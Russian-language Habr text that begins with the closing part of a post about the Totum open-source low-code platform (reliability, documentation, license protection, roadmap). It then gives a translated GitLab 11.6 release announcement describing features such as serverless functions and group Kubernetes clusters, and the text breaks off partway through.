кабинетов, страниц заказов, калькуляторов услуг, многоступенчатых форм И так далее. ![](https://habrastorage.org/r/w1560/webt/9a/lf/jq/9alfjqvjrs_appdexhsnssx7xq0.png) *Картинка Теслы исключительно в образовательных целях* Надежность ---------- Система эксплуатируется c самых первых версий уже 3 года. В начале было много ошибок, но сейчас они почти не встречаются. У нас есть стейджинг в виде 3 постоянно эксплуатирующихся крупных проектов, в которых используется большинство комбинаций различных элементов системы. Все 3 связаны с деньгами, расчетами, сметами — поэтому ошибки в кодах редки. Но всякая мелочевка в интерфейсе или в крайне-редких и экзотических сценариях — встречается. При внедрении нового функционала мы неделю его обкатываем на работающих проектах — потом выкладываем в основную ветку на GitHub. Когда выходят большие обновления требующие изменения полей внутри баз — меняем номер тэга. С выходом версии 1.0.0 разделим ветки на dev и master. Обучение и документация ----------------------- Почти все покрыто документацией. Ссылка на нее есть из интерфейса Создателя. [Документация —>](https://docs.totum.online) [Видеокурс —>](https://docs.totum.online/obshchie_principy_i_pleysmenty) [Учебный проект (первые 5 заданий) —>](https://docs.totum.online/uchebnyy_proekt__podgotovka) На основной функционал мы подготовили [видеокурс](https://docs.totum.online/obshchie_principy_i_pleysmenty), в котором визуально показываем, как работает Totum. Видео снабжены закладками — под роликом есть соответсвующие ссылки на документацию. Также мы сейчас работаем над [Учебным проектом](https://docs.totum.online/uchebnyy_proekt__podgotovka). Состоять он будет из 60 заданий и заключаться в модификации небольшого demo-примера, который устанавливается вместе с системой. Задания будут состоять из: — видео, показывающего, что и как нужно сделать; — текстового описания; — описания минимальной проверки правильности выполнения. Одно задание в большинстве случаев укладывается от 30 минут до 1 часа выполнения. Первые 5 заданий уже готовы. Выполнять можно и на demo-сервере. Всегда можно сделать лучше и хорошей документации много не бывает — поэтому и видекурс и текстовая часть будут расширяться вместе с расширением возможностей Totum. Также мы будем расширять встроенные в систему ссылки на соответствующие разделы документации. Встроенная защита лицензий -------------------------- На сервере Totum хочет PHP 7.3 + ionCube + PgSQL от 9.5. Для чего ionCube? Задумка в следующем — можно будет разработать решение на Totum и выгрузить относящиеся к нему таблицы с защитой лицензий на определенные домены, количество пользователей, сроки. Для этого каждая таблица содержит шифрованное поле license, в котором записана информация о типе лицензии, сроке ее действия (в том числе и бессрочном), лицензионном сервере и хосте. Обращение к серверу лицензий происходит только для получения информации о лицензии для конкретного хоста. Если лицензия бессрочная, то обращение происходит один раз при установке и первом запуске. Если срочная, то по окончании срока действия. Сейчас мы реализовали только один тип лицензий — **free,** таблицы с которой можно свободно перемещать между схемами. Запроса к лицензионному хосту в этом случае не происходит. Сервер лицензий нам предстоит еще разработать, наверное, он будет платным. Мы активно думаем об этой идее с лицензиями — если вдруг у вас есть про нее собственные мысли, то, пожалуйста, поделитесь в комментариях. Чего не хватает и над чем мы работаем ------------------------------------- На GitHub есть публичный проект, в который мы пишем текущие задачи и их приоритет. Глобально ближайший стек выглядит так (про тонны мелочевки я здесь умолчу): * Таблицы в виде карточек и канбан таскалок * Доработки вызова сторонних скриптов * Интеграция ampphp, что ускорит загрузку больших таблиц * Превращение мобильной версии в полноценное PWA * Интеграция с поиском (скорее всего MeiliSearch) * Календарные виды * Документы в свободной форме привязанные к таблицам (типа paper) * Экспорт в .xslx и .pdf * Сервер лицензий * Диаграммы Ганта * GraphQL для использования Totum как бэка для проекта (эта часть наверное будет на Go). * Доработки Учебного проекта, документации и Видеокурса * Подготовка Eng версии * Админская панель управления несколькими схемами: создание, дублирование, бекапирование, обновления— уже готова в техническом виде. * Дополнительные админские инструменты для внесения изменений в крупные работающие проекты. Работы еще море. Если вам хочется поучаствовать в проекте — пишите нам в [telegram](http://t.me/alexeypolunin) или на почту. Контакты есть на [странице.](https://totum.online) [Публичный проект на GitHub —>](https://github.com/orgs/totumonline/projects/1) Заключение ---------- Спасибо, что заинтересовались и дочитали. Если у вас возникло желание “потыкать” Totum самостоятельно, то это можно сделать на [demo-сервере.](https://totum.online/downloaddemo) Там есть некоторые ограничения на файлы и вызов сторонних скриптов, и проживет он 3 месяца, но в остальном Totum там такой же, как и на GitHub. Если вы уже представляете как будете делать на нем коммерческий проект — обращайтесь, мы оказываем консультационную поддержку всем желающим. Если есть пожелания — пишите в комментариях или напрямую, мы стараемся учесть все, что можем реализовать. Если есть любые другие идеи относительно того, как это можно развивать — тоже пишите! Если у вас есть крутая экспертиза в развитии open source проектов и вы хотите ей поделиться — проявитесь. **Всем продаж!** Сайт: <https://totum.online> GitHub: <https://github.com/totumonline/totum-mit> Лицензия: **MIT**
https://habr.com/ru/post/511162/
null
ru
null
# Вышел GitLab 11.6 с бессерверными функциями и кластерами Kubernetes для групп ![Картинка для привлечения внимания](https://habrastorage.org/r/w780q1/getpro/habr/post_images/934/956/ff2/934956ff25824bdbcb4ef310ebdcac93.jpg) Мы рады представить релиз GitLab 11.6, в котором мы расширили возможности бессерверной архитектуры на GitLab и добавили групповые кластеры Kubernetes для упрощения работы с нативной облачной инфраструктурой. Деплой бессерверных разработок в любое облако через GitLab ---------------------------------------------------------- Обработка бессерверных вычислений происходит динамически, и при выполнении кода система обращается к облачным ресурсам, таким образом оптимизируя выделение и распределение ресурсов, требуемых для его запуска. Популярность этого подхода среди разработчиков растет, ведь он позволяет им сосредоточиться на том, что действительно важно — например, на написании кода — и не требует понимания базовой инфраструктуры, на которой будет работать ваше ПО. [Бессерверные вычисления на GitLab](https://about.gitlab.com/product/serverless/) используют Knative, платформу на Kubernetes, предназначенную для создания и развертывания бессерверных проектов, а также для управления ими. Эта фича предоставляет разработчикам простой способ создавать свои бессерверные разработки и управлять ими наряду с другим кодом в уже знакомом интерфейсе. Для бизнесов бессерверная архитектура позволяет использовать мультиоблачную стратегию и избежать привязки к конкретному облачному провайдеру. GitLab продолжает упрощать разработку нативных облачных приложений ------------------------------------------------------------------ С помощью встроенного [реестра контейнеров](https://docs.gitlab.com/ee/user/project/container_registry.html) и [интеграции с Kubernetes](https://docs.gitlab.com/ee/user/project/integrations/kubernetes.html) GitLab позволяет вам начать работать с контейнерами и облачной разработкой проще, чем когда-либо. Начиная с релиза 11.6 пользователи могут создавать [групповые кластеры Kubernetes](#klastery-kubernetes-dlya-grupp-beta-versiya), которые можно будет использовать во всех проектах в группе или ее подгруппах. Это ещё больше упрощает настройку нативных облачных проектов и позволяет разработчикам сфокусироваться на разработке качественных приложений. К праздникам мы выпустили много классных фич -------------------------------------------- Наши любимые: [предлагаемые изменения](#predlagaemye-izmeneniya), [веб-терминал в Web IDE](#veb-terminal-dlya-web-ide-beta-versiya) и [график уязвимостей на панели безопасности группы](#grafik-uyazvimostey-na-paneli-bezopasnosti-gruppy). Вклады команд теперь удобнее принимать, так как предлагаемые в комментарии к диффу мерж-реквеста (в русской локализации GitLab «запрос на слияние») изменения можно принять одним щелчком мыши. Также в этом релизе стала доступна первая фича Web IDE, выполняемая на сервере — веб-терминал. На добавленной в прошлом релизе [панели безопасности группы](https://docs.gitlab.com/ee/user/group/security_dashboard/) появилась новый график уязвимостей, которая показывает изменение количества уязвимостей изо дня в день, позволяя отследить метрики изменений. Читайте далее и вы узнаете все о праздничных нововведениях в релизе GitLab 11.6! [Приглашаем на наши встречи](https://about.gitlab.com/events/) ![GitLab MVP badge](https://habrastorage.org/r/w1560/getpro/habr/post_images/1f4/2b7/125/1f42b7125b8e58f40d41c3350cac3ffa.png) [MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Suzanne Hillman](https://gitlab.com/wispfox) ----------------------------------------------------------------------------------------------------------- Suzanne помогла GitLab в ревью нашего недавнего продукта, [Voluntary Product Accessibility Template](https://design.gitlab.com/accessibility/vpat) (VPAT), организовав и уточнив открытые задачи; также она помогла оценить текущее состояние продукта с помощью статических инструментов анализа и ручного тестирования. VPAT обеспечивает соответствие стандартам доступности (для людей с ограниченными возможностями восприятия и взаимодействия), и этот продукт — большой шаг в улучшении доступности GitLab для всех, чтобы каждый мог использовать его и вносить свой вклад в разработку. Спасибо, Suzanne! Мы очень ценим твой вклад, который поможет большему числу людей использовать GitLab. Основные фичи релиза GitLab 11.6 -------------------------------- ### Бессерверные функции (альфа-версия) (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) На основе интеграции с Knative ([оригинальная статья](https://about.gitlab.com/2018/11/22/gitlab-11-5-released/#easily-deploy-and-integrate-knative-with-gitlab), [перевод](https://habr.com/post/432264/#knative-dlya-kubernetes)), добавленной в релизе GitLab 11.5, мы представляем новую возможность — бессерверные функции под управлением Knative, которые пользователи могут создавать в своем репозитории. Вам потребуется определить ваши функции в файле `serverless.yml` репозитория и использовать шаблон `.gitlab-ci.yml`. Каждая функция будет размещена на вашем кластере, а Knative возьмет на себя все заботы о них и о расширении на основе требуемых ресурсов. Эта фича даст возможность разработчикам приложений быстрее выпускать новые версии, не волнуясь о настройке и поддержке инфраструктуры. ![Serverless (alpha)](https://habrastorage.org/r/w1560/getpro/habr/post_images/22e/a82/cbc/22ea82cbcd1e6b217c908b17289b2bce.png) [Документация по бессерверным приложениям и функциям](https://docs.gitlab.com/ee/user/project/clusters/serverless/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/43959) ### Запуск работ CI/CD для мерж-реквестов (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Запуск конкретной работы в случае мерж-реквеста стал проще. Использование значения `merge_requests` совместно с ключевыми словами `only/except` позволит вам настроить запуск работы только при мерж-реквесте, или в обратных случаях. Это дает больше контроля над поведением конвейера и также открывает доступ к новым переменным окружения, указывающим на целевую ветку и ID мерж-реквеста, что позволяет реализовывать другие стратегии поведения. [Документация по запуску работ после мерж-реквестов](https://docs.gitlab.com/ee/ci/merge_request_pipelines/index.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/15310) ![Run CI/CD for merge requests](https://habrastorage.org/r/w1560/getpro/habr/post_images/024/f42/ccf/024f42ccfe224a70d01b547ec9bfb497.png) ### Предлагаемые изменения (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Совместная работа над мерж-реквестами стала проще — больше не требуется копировать код для принятия предлагаемых изменений. Теперь изменения могут быть предложены при комментировании диффа мерж-реквеста и приняты одним щелчком мыши любым пользователем, у которого есть права на запись в этой ветке. Сейчас эта фича работает на GitLab.com, и может быть подключена в пользовательских инстансах GitLab с помощью [подключаемой фичи](https://docs.gitlab.com/ee/api/features.html) `diff_suggestions`, а в релизе GitLab 11.7 эта фича будет включена по умолчанию. [Документация по предлагаемым изменениям](https://docs.gitlab.com/ee/user/discussions/#suggest-changes) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/18008) ### Веб-терминал для Web IDE (бета-версия) (ULTIMATE) Web IDE позволяет легче и быстрее вносить изменения и обрабатывать фидбэк мерж-реквеста, убирая необходимость сохранять изменения и локально менять ветки. Но вносить большие изменения без терминала для запуска тестов, экспериментов с REPL (Read-Eval-Print Loop — «цикл „чтение — вычисление — вывод“») и компилирования кода непросто. Теперь через Web IDE вы можете запустить веб-терминал, работать в редакторе и иметь под рукой терминал так же, как вы бы работали локально — отслеживая, что приходит через API или проверяя ваш синтаксис в REPL. Веб-терминал — первая фича с обработкой на стороне сервера в Web IDE, она настраивается с помощью нового файла `.gitlab/.gitlab-webide.yml`. Интерактивные веб-терминалы пока недоступны на GitLab.com и на данный момент изменения не синхронизируются между редактором и веб-терминалом. Вы можете следить за прогрессом разработки [здесь](https://gitlab.com/gitlab-org/gitlab-ce/issues/52611), в следующем релизе мы добавим поддержку [зеркалирования изменений](https://gitlab.com/gitlab-org/gitlab-ee/issues/5276) и [предпросмотр в реальном времени](https://gitlab.com/gitlab-org/gitlab-ee/issues/4013). [Документация по веб-терминалам](https://docs.gitlab.com/ee/user/project/web_ide/index.html#interactive-web-terminals-for-the-web-ide-ultimate-only) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/5426) ![Web Terminal for Web IDE (beta)](https://habrastorage.org/r/w1560/getpro/habr/post_images/f7d/2a0/9d8/f7d2a09d884aa665992a2653c923a998.png) ### Шаблоны проектов для групп (PREMIUM, ULTIMATE, SILVER, GOLD) Шаблоны проектов помогают пользователям быстро начинать новые проекты. В релизе 11.2 ([оригинальная статья](https://about.gitlab.com/2018/08/22/gitlab-11-2-released/#custom-project-templates-on-the-instance-level), [перевод](https://habr.com/post/422473/#nastraivaemye-shablony-proektov-dlya-vashego-instansa-gitlab)) мы представили шаблоны проектов [для пользовательских инстансов](https://gitlab.com/gitlab-org/gitlab-ce/issues/48043). С GitLab 11.6 мы рады объявить, что эта фича теперь доступна и для групп. Создайте специальную подгруппу через настройки новой группы, и проекты этой подгруппы станут доступны как шаблоны. Это упрощает начальную настройку и обеспечивает единообразие среди ваших проектов, особенно в больших структурах, таких, как архитектура микросервисов. [Документация по шаблонам проектов](https://docs.gitlab.com/ee/user/group/custom_project_templates.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/6861) ![Project templates for Groups](https://habrastorage.org/r/w1560/getpro/habr/post_images/97a/0b0/d0b/97a0b0d0b935ce652bb3f6736a102e37.png) ### Кластеры Kubernetes для групп (бета-версия) (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Часто командам разработчиков, работающих над связанными проектами, нужно использовать один и тот же кластер Kubernetes для развертывания своих приложений. Начиная с GitLab 11.6 пользователи смогут создавать кластеры Kubernetes на уровне группы, которые можно будет использовать во всех проектах, которые содержатся в данной группе или ее подгруппах. Это значительно упростит и ускорит процесс настройки инфраструктуры ваших проектов и позволит сосредоточить усилия на разработке крутых приложений. [Документация по кластерам для групп](https://docs.gitlab.com/ee/user/group/clusters/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/34758) ![Kubernetes clusters for Groups (beta)](https://habrastorage.org/r/w1560/getpro/habr/post_images/684/0cb/844/6840cb844eb843b0bb6f649691c7321b.png) ### Менеджер сертификатов для Kubernetes (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Обеспечение безопасности критически важно при развертывании приложений на стадии разработки. Менеджер сертификатов — это контроллер для управления сертификатами на основе Kubernetes, который автоматически создает и обновляет SSL-сертификаты, используя Let’s Encrypt. При использовании этого SSL-сертификата для приложений, обслуживаемых через Auto DevOps, и для развертываний через JupyterHub будет включаться HTTPS. [Документация по установке приложений](https://docs.gitlab.com/ee/user/project/clusters/#installing-applications) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/40635) ![Cert-manager for Kubernetes](https://habrastorage.org/r/w1560/getpro/habr/post_images/b82/f5f/8ba/b82f5f8ba358ed26dcb70812da06498c.png) ### График уязвимостей на панели безопасности группы (ULTIMATE, GOLD) [Панель безопасности группы](https://docs.gitlab.com/ee/user/group/security_dashboard/) — это основной инструмент, при помощи которого специалисты по безопасности могут управлять уязвимостями в своих проектах. Одним из важнейших требований является знание того, как число уязвимостей меняется изо дня в день, и понимание того, справляется ли команда с решением возникающих проблем достаточно быстро. В релизе GitLab 11.6 мы добавили на панель безопасности группы график уязвимостей, который позволит вам легко отслеживать изменения уязвимостей за последний месяц. Для каждого уровня опасности вы сможете посмотреть значения показателей уязвимостей и, перемещаясь по графику, более детально рассмотреть конкретный момент времени. [Документация по панели безопасности группы](https://docs.gitlab.com/ee/user/group/security_dashboard/#viewing-the-vulnerabilities) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/6954) ![Vulnerability Chart for Group Security Dashboards](https://habrastorage.org/r/w1560/getpro/habr/post_images/8cc/83f/e34/8cc83fe34d3685cc484689f4cfbd94e0.png) Другие улучшения в GitLab 11.6 ------------------------------ ### Аутентификация при помощи аппаратных токенов на основе смарт-карт (PREMIUM, ULTIMATE) Для организаций, в которых разработчики работают в средах, использующих аппаратные токены с сертификатами стандарта X.509 и возможности смарт-карт для аутентификации (например, YubiKeys или карт общего доступа (CAC)), GitLab теперь поддерживает локальное создание пользователя и вход в систему. Теперь пользователи могут использовать аппаратные токены для получения доступа к GitLab, что повышает безопасность и позволяет избавиться от необходимости управлять данными о логинах/паролях, не связанных с каким-либо физическим устройством. [Документация по аутентификации на основе смарт-карт](https://docs.gitlab.com/ee/administration/auth/smartcard.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/726) ### Информация о групповых подписках на GitLab.com (FREE, BRONZE, SILVER, GOLD) Для пользователей с [платной подпиской](https://about.gitlab.com/2017/04/11/introducing-subscriptions-on-gitlab-dot-com/) на GitLab.com мы сделали информацию о статусе вашей подписки более доступной для понимания. В версии 11.6 мы улучшили раздел Billing под страницей групповых настроек, чтобы он включал подробную информацию о вашей групповой подписке. Теперь вы легко сможете просмотреть места, занятые сейчас, и места, которые были заняты в прошлом, а также время начала и конца вашей подписки. ![Subscription details for Groups on GitLab.com](https://habrastorage.org/r/w1560/getpro/habr/post_images/d43/d46/745/d43d467454c0d514c042c9bb265b10ab.png) [Документация](https://about.gitlab.com/gitlab-com/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/7772) ### Отправка уведомлений в Discord (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Начиная с этого релиза, вы сможете интегрировать GitLab с [Discord](https://discordapp.com/), что позволит вам отправлять уведомления на канал в Discord в качестве ответа на события GitLab, такие как пуши в репозиторий, загрузка обновлений тикетов, мерж-реквесты и другие. Спасибо [Vitaliy Klachkov](https://gitlab.com/blackst0ne) за эту фичу! ![Discord notifications](https://habrastorage.org/r/w1560/getpro/habr/post_images/d27/a24/11d/d27a2411dcd37fbe76eb982730009198.png) [Документация по Discord-уведомлениям](https://docs.gitlab.com/ee/user/project/integrations/discord_notifications.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/21635) ### Повышение тикетов до эпиков (ULTIMATE, GOLD) Разработка программного обеспечения — это творческий процесс, в котором участвует вся команда, и все идеи должны приниматься на рассмотрение. Мы добавили новую фичу, с помощью которой идеи, которые появляются в виде тикетов, теперь легко могут превращаться в эпики. Теперь вы можете легко повысить тикет до эпика, используя новое [быстрое действие](https://docs.gitlab.com/ee/user/project/quick_actions.html). Просто введите `/promote` в комментарии к тикету и нажмите **Comment**. Тикет будет закрыт, а его содержимое будет скопировано в новый эпик, который появится в родительской группе проекта. Помимо названия, описания и обсуждений под тикетом будут скопированы метки, участники и даже лайки/дизлайки. ![Promote issue to an epic](https://habrastorage.org/r/w1560/getpro/habr/post_images/746/541/e1a/746541e1abacf91105bc35a24ba1dee8.png) [Документация по повышению тикетов до эпиков](https://docs.gitlab.com/ee/user/group/epics/#promoting-an-issue-to-an-epic) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/7730) ### Улучшенный внешний вид панели настроек при фильтрации тикетов и мерж-реквестов (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Мы обновили дизайн представления результатов поиска для тикетов и панелей настройки мерж-реквестов, чтобы они соответствовали дизайну в остальных частях GitLab. ![Improved issue and merge request dashboard filtering](https://habrastorage.org/r/w1560/getpro/habr/post_images/379/11b/79d/37911b79d7879363d27e67fc07fd8917.png) [Документация по поиску в GitLab](https://docs.gitlab.com/ee/user/search/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/52385) ### Сохранение порядка сортировки тикетов, мерж-реквестов и эпиков для каждого пользователя (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Мы добавили возможность пользователям задавать собственный порядок сортировки тикетов, мерж-реквестов, эпиков и даже графиков задач. Информация об атрибуте, по которому вы сортируете, и о порядке сортировки (восходящий или нисходящий) сохраняется в системе, так что когда вы снова вернетесь к списку объектов, который просматривали ранее, он будет отсортирован точно так же, как до этого. ![Per-user saved sort order in issues, merge requests, and epics](https://habrastorage.org/r/w1560/getpro/habr/post_images/df5/047/1c4/df50471c49bfc26164502b4322366287.png) [Документация по поиску эпиков](https://docs.gitlab.com/ee/user/group/epics/#searching-for-an-epic-from-epics-list-page) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/39849) ### Просмотр открытых и закрытых эпиков на дорожной карте (ULTIMATE, GOLD) Недавно мы добавили в GitLab возможность закрывать эпики, что позволяет отмечать завершенные или нерелевантные эпики. Начиная с этого релиза, мы также добавляем возможность просматривать открытые эпики, закрытые эпики или оба вида сразу на дорожных картах. Это будет полезно для тех команд, которым важно сосредоточиться только на оставшихся и срочных задачах (открытых эпиках), или которые хотят просмотреть завершенные задачи (закрытые эпики), или которым нужно увидеть на одной карте и завершенные, и текущие задачи. С нашей новой фичей такая гибкость становится доступной. Кроме того, теперь ваши настройки сохраняются в системе для каждого пользователя, так что, когда вы снова вернетесь к дорожной карте, она будет выглядеть точно так же, как и в предыдущий раз. ![View open or closed epics on roadmap](https://habrastorage.org/r/w1560/getpro/habr/post_images/ce3/ec2/d93/ce3ec2d935119a5b125e4dd7bd5f07be.png) [Документация по графику задач](https://docs.gitlab.com/ee/user/group/roadmap/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/8035) ### Отображение схожих задач (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) По мере того, как проекты растут, разработчики создают новые тикеты для возникающих задач, и зачастую эти тикеты начинают повторяться. Для того, чтобы помочь людям быстрее находить ответы и сэкономить время maintainer-ам проекта, теперь при создании нового тикета отображаются тикеты, похожие на него. Они отображаются при вводе заголовка в веб-форме создания тикетов. Это поможет пользователям сразу находить похожие тикеты, переключаться на них и немедленно включаться в актуальные обсуждения, что дает еще больше возможностей для совместной работы в GitLab. ![Similar issues](https://habrastorage.org/r/w1560/getpro/habr/post_images/a6e/107/4d6/a6e1074d631864a3ebdec55fc12b657c.png) [Документация по похожим тикетам](https://docs.gitlab.com/ee/user/project/issues/similar_issues.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/22071) ### Поддержка зеркалирования пушей через SSH с аутентификацией по открытому ключу (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Зеркалирование репозиториев позволяет копировать репозитории Git из одного места в другое. Это позволяет проще работать с несколькими инстансами GitLab при создании зеркала репозитория на другом сервере. Однако, некоторые целевые серверы дают доступ к Git только через SSH с аутентификацией по открытому ключу. GitLab теперь поддерживает зеркалирование через SSH с аутентификацией по открытому ключу помимо аутентификации через SSH по паролю и пуш-зеркалированию через HTTP. [Документация по пуш-зеркалированию](https://docs.gitlab.com/ee/workflow/repository_mirroring.html#pushing-to-a-remote-repository-core) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/49565) ### Maintainer проекта теперь может удалять конвейеры через API (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Удалить конвейер теперь можно с помощью API. Это полезно в случаях, когда в конвейере произошла утечка секретной информации, было создано много ненужных конвейеров или возникли другие проблемы, когда конвейеры необходимо удалить. [Документация по удалению конвейеров](https://docs.gitlab.com/ee/api/pipelines.html#delete-a-pipeline) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/41875) ### Триггерные переменные теперь по умолчанию скрыты в пользовательском интерфейсе (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Все триггерные переменные теперь по умолчанию скрыты в пользовательском интерфейсе и показываются только при явном указании пользователем. Это предотвратит непреднамеренное раскрытие значений при совместном использовании экрана или создании скриншотов. ![Trigger variables are now hidden in UI by default](https://habrastorage.org/r/w1560/getpro/habr/post_images/c39/b1f/d80/c39b1fd80ce9a9c5e5746af9cb6d780d.png) [Документация по использованию триггерных переменных](https://docs.gitlab.com/ee/ci/triggers/README.html#making-use-of-trigger-variables) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/20422) ### Одно email-уведомление для ревью мерж-реквестов (PREMIUM, ULTIMATE, SILVER, GOLD) Ревью кода — это необходимая практика для каждого успешного проекта, но получать по электронной почте уведомление для каждого комментария — иногда излишне. Теперь отправляется только одно уведомление со списком всех комментариев, чтобы не замусоривать ваш почтовый ящик. Ревью мерж-реквестов ([оригинальная статья](https://about.gitlab.com/2018/10/22/gitlab-11-4-released/#merge-request-reviews), [перевод](https://habr.com/post/428940/#revyu-merzh-rekvestov)), представленные в GitLab 11.4, облегчают ревью кода, позволяя одним действием составлять, рецензировать и отправлять комментарии. Эта фича теперь доступна на GitLab.com, а также может быть включена для пользовательских инстансов GitLab с помощью [подключаемой фичи](https://docs.gitlab.com/ee/api/features.html) (feature flag, feature toggle) `batch_review_notification`. Она будет включена по умолчанию для пользовательских инстансов в GitLab 11.7. [Документация по ревью мерж-реквестов](https://docs.gitlab.com/ee/user/discussions/index.html#merge-request-reviews-premium) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/4326) ### Улучшенная страница просмотра проекта (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) В релизе GitLab 11.6 мы продолжаем работать с пользовательским интерфейсом нашей страницы проекта: поправили отображение заголовка проекта, улучшили контрастность и поработали с пустыми местами, чтобы сделать акцент на часто используемых действиях и улучшить общую структуру информации. ![Improved project overview](https://habrastorage.org/r/w1560/getpro/habr/post_images/d14/ffa/690/d14ffa6906f4cc03e479a6b636f1c2c3.png) [Документация по проектам](https://docs.gitlab.com/ee/user/project/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/51243) ### Всплывающая подсказка о профиле пользователя (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) В этом релизе мы добавили расширенные всплывающие подсказки при наведении курсора на имя пользователя, пока на страницах задачи и мерж-реквеста. Раньше мы отображали только полное имя, а теперь будут видны полное имя пользователя, ID, компания, информация о местоположении и статус пользователя, если он доступен. Кроме добавления расширенной всплывающей подсказки на других страницах, мы работаем и над последующими улучшениями всплывающих подсказок для [задач](https://gitlab.com/gitlab-org/gitlab-ce/issues/54915) и [мерж-реквестов](https://gitlab.com/gitlab-org/gitlab-ce/issues/54916), которые скоро будут доступны. ![User profile popovers](https://habrastorage.org/r/w1560/getpro/habr/post_images/12c/6e7/b5a/12c6e7b5a571476cfe98614c9394d68c.png) [Оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/50157) ### Навигационная цепочка включает 'New' и 'Edit' для майлстоунов и меток (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) В этом релизе мы улучшаем нашу навигационную цепочку (breadcrumb navigation) GitLab для майлстоунов и меток. При создании или редактировании майлстоуна или метки, в конце навигационной цепочки присутствует дополнительный элемент ‘New’ или ‘Edit’, который теперь согласуется с тикетами и мерж-реквестами. Спасибо [George Tsiolis](https://gitlab.com/gtsiolis) за эту фичу! ![Breadcrumb navigation shows 'New' and 'Edit' for milestones and labels](https://habrastorage.org/r/w1560/getpro/habr/post_images/040/35f/6a8/04035f6a8cc3bc1652b2db35c32e23d7.png) [Оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/43998) ### Поддержка HTTPS для Auto DevOps (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Auto DevOps в GitLab направлен ​​на решение многих проблем, возникающих при поставке качественного программного обеспечения. GitLab 11.6 еще больше расширяет его возможности, добавляя поддержку HTTPS. Используя менеджер сертификатов для Kubernetes, Auto DevOps будет автоматически обслуживать приложения через HTTPS, обеспечивая повышенную безопасность для ваших приложений. [Документация по Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/41355) ### Поддержка HTTPS для JupyterHub (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) JupyterHub обеспечивает командам, работающим с данными, мощный способ обмена информацией. Часто конфиденциальные данные требуют повышенной безопасности. Используя менеджер сертификатов для Kubernetes, JupyterHub будет автоматически обслуживать Jupyter по HTTPS, обеспечивая повышенную безопасность ваших конфиденциальных данных. [Документация по установке приложений на кластеры](https://docs.gitlab.com/ee/user/project/clusters/#installing-applications) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/52753) ### Отображение кода ответа HTTP от Kubernetes (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Для облегчения и ускорения устранения неполадок при установке приложений, управляемых GitLab, в кластер Kubernetes, мы теперь передаем код ответа HTTP от Kubernetes. [Документация по управлению кластерами](https://docs.gitlab.com/ee/user/project/clusters/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/53628) ### Неограниченные количество бесплатных гостевых пользователей планов Gold (ULTIMATE, GOLD) В версии 11.0 мы ввели неограниченное количество гостевых пользователей для планов Ultimate. Теперь мы распространяем это на планы Gold, так что группы, использующие самый высокий тарифный план GitLab.com, будь то пользовательский сервер или облачный SaaS, могут получить пользу от добавления гостей без дополнительных затрат. [Документация по правам доступа пользователей](https://docs.gitlab.com/ee/user/permissions.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/6448) ### Запрещение администраторам играть роль пользователей (CORE, STARTER, PREMIUM, ULTIMATE) В некоторых организациях разрешение администраторам играть роль пользователей представляет угрозу безопасности, поскольку действия администраторов приписываются пользователю, от имени которого они действуют. Для решения этой проблемы мы добавляем настраиваемую опцию, чтобы можно было отключить эту фичу. [Документация по запрещению администраторам играть роль пользователей](https://docs.gitlab.com/ee/api/README.html#disable-impersonation) и [оригинальный 